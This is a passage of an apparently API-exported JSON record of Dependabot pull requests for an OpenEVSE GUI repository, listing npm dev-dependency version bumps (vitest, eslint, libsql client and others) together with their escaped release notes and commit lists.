href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11596\"\u003evitest-dev/vitest#11596\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/8dd67c262\"\u003e\u003c!-- raw HTML omitted --\u003e(8dd67)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ereporter\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eEnd reason \u003ccode\u003e\u0026amp;[#39](https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/39);failed\u0026amp;[#39](https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/39);\u003c/code\u003e on worker crash  -  by \u003ca href=\"https://github.com/AriPerkkio\"\u003e\u003ccode\u003e@​AriPerkkio\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11568\"\u003evitest-dev/vitest#11568\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6ae8e89ff\"\u003e\u003c!-- raw HTML omitted --\u003e(6ae8e)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003e    \u003ca href=\"https://github.com/vitest-dev/vitest/compare/v5.0.4...v5.0.5\"\u003eView changes on GitHub\u003c/a\u003e\u003c/h5\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/7a825db43e2beca0b219d2eadaec334cb81af0c7\"\u003e\u003ccode\u003e7a825db\u003c/code\u003e\u003c/a\u003e chore: release v5.0.5 (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11609\"\u003e#11609\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/6621a72d6ed371e43f80ff327f5063693bd6b1ad\"\u003e\u003ccode\u003e6621a72\u003c/code\u003e\u003c/a\u003e fix: abort all running tests on cancel (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11606\"\u003e#11606\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/e9c3d72f0c8d6867de06a3df43ea28a05eeec444\"\u003e\u003ccode\u003ee9c3d72\u003c/code\u003e\u003c/a\u003e fix: release mocks of finished test files (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11607\"\u003e#11607\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/8dd67c2625943d824e257b87ae57a14094e90eed\"\u003e\u003ccode\u003e8dd67c2\u003c/code\u003e\u003c/a\u003e fix(browser): run global setup once with instances (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11596\"\u003e#11596\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/6c5a447203a29a0708fbc5de4fb91ea501bdc395\"\u003e\u003ccode\u003e6c5a447\u003c/code\u003e\u003c/a\u003e fix: run hook cleanups when a later hook fails (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11605\"\u003e#11605\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/9697b3894f456b85db91f3824ebe833449305c04\"\u003e\u003ccode\u003e9697b38\u003c/code\u003e\u003c/a\u003e fix: keep the import frame in native loader errors (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11599\"\u003e#11599\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/6498b666a3ae8961f6f2a8abdc89015b6fd0b3aa\"\u003e\u003ccode\u003e6498b66\u003c/code\u003e\u003c/a\u003e fix(browser): wait 30s for the browser to close (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11601\"\u003e#11601\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/f161e6df2b3c0bc84982d374094379139e380791\"\u003e\u003ccode\u003ef161e6d\u003c/code\u003e\u003c/a\u003e fix(browser): drop late connections of closed sessions (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11600\"\u003e#11600\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/fe86a64c6c6aa75481bffe5880b5c4e35ea67927\"\u003e\u003ccode\u003efe86a64\u003c/code\u003e\u003c/a\u003e fix: skip builtin loading in async leak detector (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11598\"\u003e#11598\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/6ae8e89ff0734cf476e30186a83aebe6771aa330\"\u003e\u003ccode\u003e6ae8e89\u003c/code\u003e\u003c/a\u003e fix(reporter): end reason \u003ccode\u003e'failed'\u003c/code\u003e on worker crash (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11568\"\u003e#11568\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/vitest-dev/vitest/commits/v5.0.5/packages/vitest\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore \u003cdependency name\u003e major version` will close this group update PR and stop Dependabot creating any more for the specific dependency's major version (unless you unignore this specific dependency's major version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e minor version` will close this group update PR and stop Dependabot creating any more for the specific dependency's minor version (unless you unignore this specific dependency's minor version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e` will close this group update PR and stop Dependabot creating any more for the specific dependency (unless you unignore this specific dependency or upgrade to it yourself)\n- `@dependabot unignore \u003cdependency name\u003e` will remove all of the ignore conditions of the specified dependency\n- `@dependabot unignore \u003cdependency name\u003e \u003cignore condition\u003e` will remove the ignore condition of the specified dependency and ignore conditions\n\n\n\u003c/details\u003e","html_url":"https://github.com/OpenEVSE/openevse-gui-nightshift/pull/182","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenEVSE%2Fopenevse-gui-nightshift/issues/182","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/182/packages"}},{"old_version":"4.1.11","new_version":"5.0.5","update_type":"major","path":null,"pr_created_at":"2026-10-23T14:55:30.000Z","version_change":"4.1.11 → 5.0.5","issue":{"uuid":"6000095064","node_id":"PR_kwDOUb_zcc8AAAABKRybFg","number":42,"state":"closed","title":"chore(deps-dev): bump the dev-tooling group across 1 directory with 10 updates","user":"dependabot[bot]","labels":["dependencies"],"assignees":[],"locked":false,"comments_count":2,"pull_request":true,"closed_at":"2026-10-23T15:22:32.000Z","author_association":null,"state_reason":null,"created_at":"2026-10-23T14:55:30.000Z","updated_at":"2026-10-23T15:22:34.000Z","time_to_close":1622,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps-dev): bump","group_name":"dev-tooling","update_count":10,"packages":[{"name":"@libsql/client","old_version":"0.15.15","new_version":"0.18.0","repository_url":"https://github.com/tursodatabase/libsql-client-ts"},{"name":"@peculiar/x509","old_version":"2.1.0","new_version":"2.2.0","repository_url":"https://github.com/PeculiarVentures/x509"},{"name":"@types/node","old_version":"22.20.2","new_version":"26.6.5","repository_url":"https://github.com/DefinitelyTyped/DefinitelyTyped"},{"name":"@vitest/coverage-v8","old_version":"4.1.11","new_version":"5.0.5","repository_url":"https://github.com/vitest-dev/vitest"},{"name":"drizzle-orm","old_version":"0.45.2","new_version":"0.45.4","repository_url":"https://github.com/drizzle-team/drizzle-orm"},{"name":"eslint","old_version":"9.39.5","new_version":"10.13.0","repository_url":"https://github.com/eslint/eslint"},{"name":"happy-dom","old_version":"20.14.5","new_version":"21.0.3","repository_url":"https://github.com/capricorn86/happy-dom"},{"name":"prettier","old_version":"3.9.6","new_version":"3.9.10","repository_url":"https://github.com/prettier/prettier"},{"name":"typescript-eslint","old_version":"8.70.0","new_version":"8.71.2","repository_url":"https://github.com/typescript-eslint/typescript-eslint"},{"name":"vitest","old_version":"4.1.11","new_version":"5.0.5","repository_url":"https://github.com/vitest-dev/vitest"}],"path":null,"ecosystem":"npm"},"body":"[//]: # (dependabot-start)\n⚠️  **Dependabot is rebasing this PR** ⚠️ \n\nRebasing might not happen immediately, so don't worry if this takes some time.\n\nNote: if you make any changes to this PR yourself, they will take precedence over the rebase.\n\n---\n\n[//]: # (dependabot-end)\n\nBumps the dev-tooling group with 10 updates in the / directory:\n\n| Package | From | To |\n| --- | --- | --- |\n| [@libsql/client](https://github.com/tursodatabase/libsql-client-ts/tree/HEAD/packages/libsql-client) | `0.15.15` | `0.18.0` |\n| [@peculiar/x509](https://github.com/PeculiarVentures/x509) | `2.1.0` | `2.2.0` |\n| [@types/node](https://github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/node) | `22.20.2` | `26.6.5` |\n| [@vitest/coverage-v8](https://github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-v8) | `4.1.11` | `5.0.5` |\n| [drizzle-orm](https://github.com/drizzle-team/drizzle-orm) | `0.45.2` | `0.45.4` |\n| [eslint](https://github.com/eslint/eslint) | `9.39.5` | `10.13.0` |\n| [happy-dom](https://github.com/capricorn86/happy-dom) | `20.14.5` | `21.0.3` |\n| [prettier](https://github.com/prettier/prettier) | `3.9.6` | `3.9.10` |\n| [typescript-eslint](https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/typescript-eslint) | `8.70.0` | `8.71.2` |\n| [vitest](https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest) | `4.1.11` | `5.0.5` |\n\n\nUpdates `@libsql/client` from 0.15.15 to 0.18.0\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/tursodatabase/libsql-client-ts/commit/9496c782af413f6380235c7f5d0c97b5371f49b7\"\u003e\u003ccode\u003e9496c78\u003c/code\u003e\u003c/a\u003e 0.18.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/tursodatabase/libsql-client-ts/commit/f336495716e06efe63e0f3f6a9dbb09bbe83cc80\"\u003e\u003ccode\u003ef336495\u003c/code\u003e\u003c/a\u003e fix(sqlite3): settle in-flight operations when the pool is torn down\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/tursodatabase/libsql-client-ts/commit/1174d51c698a89b10bbe1fec203a328045a492e2\"\u003e\u003ccode\u003e1174d51\u003c/code\u003e\u003c/a\u003e fix(sqlite3): give a client a connection pool, like the hrana clients\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/tursodatabase/libsql-client-ts/commit/05e33449c53d71c6989ea2e2bef9104bc6bd3a27\"\u003e\u003ccode\u003e05e3344\u003c/code\u003e\u003c/a\u003e fix(sqlite3): keep connection handle for in-memory databases across transactions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/tursodatabase/libsql-client-ts/commit/889a2ec3130b9fb3b32fda9e19ebd33864efc509\"\u003e\u003ccode\u003e889a2ec\u003c/code\u003e\u003c/a\u003e 0.17.4\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/tursodatabase/libsql-client-ts/commit/916fdf3516cfc93447265fbdd8711a64dbb040bd\"\u003e\u003ccode\u003e916fdf3\u003c/code\u003e\u003c/a\u003e Add timeout config option for local sqlite3 connections\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/tursodatabase/libsql-client-ts/commit/9d158a718ab655024e175d47a36565bd0178810b\"\u003e\u003ccode\u003e9d158a7\u003c/code\u003e\u003c/a\u003e 0.17.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/tursodatabase/libsql-client-ts/commit/db7212640402f15e04b9fe7c16ca6cfa2b00ff07\"\u003e\u003ccode\u003edb72126\u003c/code\u003e\u003c/a\u003e 0.17.3-pre.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/tursodatabase/libsql-client-ts/commit/e5d58414c671aabc88dfadf75fc1f3fd731da43d\"\u003e\u003ccode\u003ee5d5841\u003c/code\u003e\u003c/a\u003e Drop removed hrana-client re-exports from client test\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/tursodatabase/libsql-client-ts/commit/82b63c0466efc4435dfb05681988cb4656c86ed5\"\u003e\u003ccode\u003e82b63c0\u003c/code\u003e\u003c/a\u003e 0.17.3-pre.1\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/tursodatabase/libsql-client-ts/commits/v0.18.0/packages/libsql-client\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by \u003ca href=\"https://www.npmjs.com/~GitHub%20Actions\"\u003eGitHub Actions\u003c/a\u003e, a new releaser for \u003ccode\u003e@​libsql/client\u003c/code\u003e since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@peculiar/x509` from 2.1.0 to 2.2.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/PeculiarVentures/x509/releases\"\u003e@​peculiar/x509's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev2.2.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: don't apply fromBER limits when parsing our own DER by \u003ca href=\"https://github.com/hacdias\"\u003e\u003ccode\u003e@​hacdias\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/PeculiarVentures/x509/pull/150\"\u003ePeculiarVentures/x509#150\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps): update non-major dependencies by \u003ca href=\"https://github.com/microshine\"\u003e\u003ccode\u003e@​microshine\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/PeculiarVentures/x509/pull/153\"\u003ePeculiarVentures/x509#153\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/PeculiarVentures/x509/compare/v2.1.0...v2.2.0\"\u003ehttps://github.com/PeculiarVentures/x509/compare/v2.1.0...v2.2.0\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PeculiarVentures/x509/commit/4c4857be5e8b2ad6423a58982de2c2c32337f075\"\u003e\u003ccode\u003e4c4857b\u003c/code\u003e\u003c/a\u003e chore(release): v2.2.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PeculiarVentures/x509/commit/e27afe66924db1440bd35a1e9d2a1c7c127afe5a\"\u003e\u003ccode\u003ee27afe6\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/PeculiarVentures/x509/issues/153\"\u003e#153\u003c/a\u003e from PeculiarVentures/chore/update-deps-2026-10-13\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PeculiarVentures/x509/commit/625a751bd01bd2f1ac6251a43e10ea11f460808c\"\u003e\u003ccode\u003e625a751\u003c/code\u003e\u003c/a\u003e chore(deps): update dependencies\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PeculiarVentures/x509/commit/102c175abc0bd616701931c5829c0e9db2f4d5c5\"\u003e\u003ccode\u003e102c175\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/PeculiarVentures/x509/issues/150\"\u003e#150\u003c/a\u003e from hacdias/fix/dont-apply-limits-on-trusted-input\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PeculiarVentures/x509/commit/bc1d0618010d1e3e335ddf22c4efc1ebe4a4a7ae\"\u003e\u003ccode\u003ebc1d061\u003c/code\u003e\u003c/a\u003e chore: bump version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PeculiarVentures/x509/commit/33eb5ad9cc549997d047256ab9f538bbba239f4a\"\u003e\u003ccode\u003e33eb5ad\u003c/code\u003e\u003c/a\u003e fix: don't apply fromBER limits when parsing our own DER\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/PeculiarVentures/x509/compare/v2.1.0...v2.2.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@types/node` from 22.20.2 to 26.6.5\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/DefinitelyTyped/DefinitelyTyped/commits/HEAD/types/node\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@vitest/coverage-v8` from 4.1.11 to 5.0.5\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vitest-dev/vitest/releases\"\u003e@​vitest/coverage-v8's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev5.0.5\u003c/h2\u003e\n\u003ch3\u003e   🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eKeep vite default \u003ccode\u003efs.deny\u003c/code\u003e with api token file  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11578\"\u003evitest-dev/vitest#11578\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/28dc1edfb\"\u003e\u003c!-- raw HTML omitted --\u003e(28dc1)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eHandle quoted file names in \u003ccode\u003e--changed\u003c/code\u003e  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11583\"\u003evitest-dev/vitest#11583\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/14921e962\"\u003e\u003c!-- raw HTML omitted --\u003e(14921)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003edata\u003c/code\u003e to the \u003ccode\u003eimport.meta.hot\u003c/code\u003e stub  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11590\"\u003evitest-dev/vitest#11590\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/3a8289ac3\"\u003e\u003c!-- raw HTML omitted --\u003e(3a828)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSet \u003ccode\u003eskip\u003c/code\u003e in \u003ccode\u003eskipIf\u003c/code\u003e, ignore \u003ccode\u003eundefined\u003c/code\u003e options  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11591\"\u003evitest-dev/vitest#11591\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/d523a15f2\"\u003e\u003c!-- raw HTML omitted --\u003e(d523a)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSkip builtin loading in async leak detector  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11598\"\u003evitest-dev/vitest#11598\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/fe86a64c6\"\u003e\u003c!-- raw HTML omitted --\u003e(fe86a)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eKeep the import frame in native loader errors  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11599\"\u003evitest-dev/vitest#11599\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/9697b3894\"\u003e\u003c!-- raw HTML omitted --\u003e(9697b)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRun hook cleanups when a later hook fails  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11605\"\u003evitest-dev/vitest#11605\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6c5a44720\"\u003e\u003c!-- raw HTML omitted --\u003e(6c5a4)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRelease mocks of finished test files  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11607\"\u003evitest-dev/vitest#11607\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/e9c3d72f0\"\u003e\u003c!-- raw HTML omitted --\u003e(e9c3d)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAbort all running tests on cancel  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11606\"\u003evitest-dev/vitest#11606\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6621a72d6\"\u003e\u003c!-- raw HTML omitted --\u003e(6621a)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ebrowser\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eIgnore synthetic pagehide events  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11582\"\u003evitest-dev/vitest#11582\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/ca0813584\"\u003e\u003c!-- raw HTML omitted --\u003e(ca081)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRun plugin buildStart on server creation  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11593\"\u003evitest-dev/vitest#11593\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/ea611e44c\"\u003e\u003c!-- raw HTML omitted --\u003e(ea611)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eDrop late connections of closed sessions  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11600\"\u003evitest-dev/vitest#11600\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/f161e6df2\"\u003e\u003c!-- raw HTML omitted --\u003e(f161e)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eWait 30s for the browser to close  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11601\"\u003evitest-dev/vitest#11601\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6498b666a\"\u003e\u003c!-- raw HTML omitted --\u003e(6498b)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRun global setup once with instances  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11596\"\u003evitest-dev/vitest#11596\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/8dd67c262\"\u003e\u003c!-- raw HTML omitted --\u003e(8dd67)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ereporter\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eEnd reason \u003ccode\u003e\u0026amp;[#39](https://github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-v8/issues/39);failed\u0026amp;[#39](https://github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-v8/issues/39);\u003c/code\u003e on worker crash  -  by \u003ca href=\"https://github.com/AriPerkkio\"\u003e\u003ccode\u003e@​AriPerkkio\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11568\"\u003evitest-dev/vitest#11568\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6ae8e89ff\"\u003e\u003c!-- raw HTML omitted --\u003e(6ae8e)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003e    \u003ca href=\"https://github.com/vitest-dev/vitest/compare/v5.0.4...v5.0.5\"\u003eView changes on GitHub\u003c/a\u003e\u003c/h5\u003e\n\u003ch2\u003ev5.0.4\u003c/h2\u003e\n\u003ch3\u003e   🚀 Features\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eexperimental\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eTag cache directories with CACHEDIR.TAG  -  by \u003ca href=\"https://github.com/lifeiscontent\"\u003e\u003ccode\u003e@​lifeiscontent\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11461\"\u003evitest-dev/vitest#11461\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/a8ea3c8fd\"\u003e\u003c!-- raw HTML omitted --\u003e(a8ea3)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSupport \u003ccode\u003etest.ui.theme\u003c/code\u003e option  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11499\"\u003evitest-dev/vitest#11499\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/1da66405d\"\u003e\u003c!-- raw HTML omitted --\u003e(1da66)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eHighlight selector multiple matches in trace view  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, 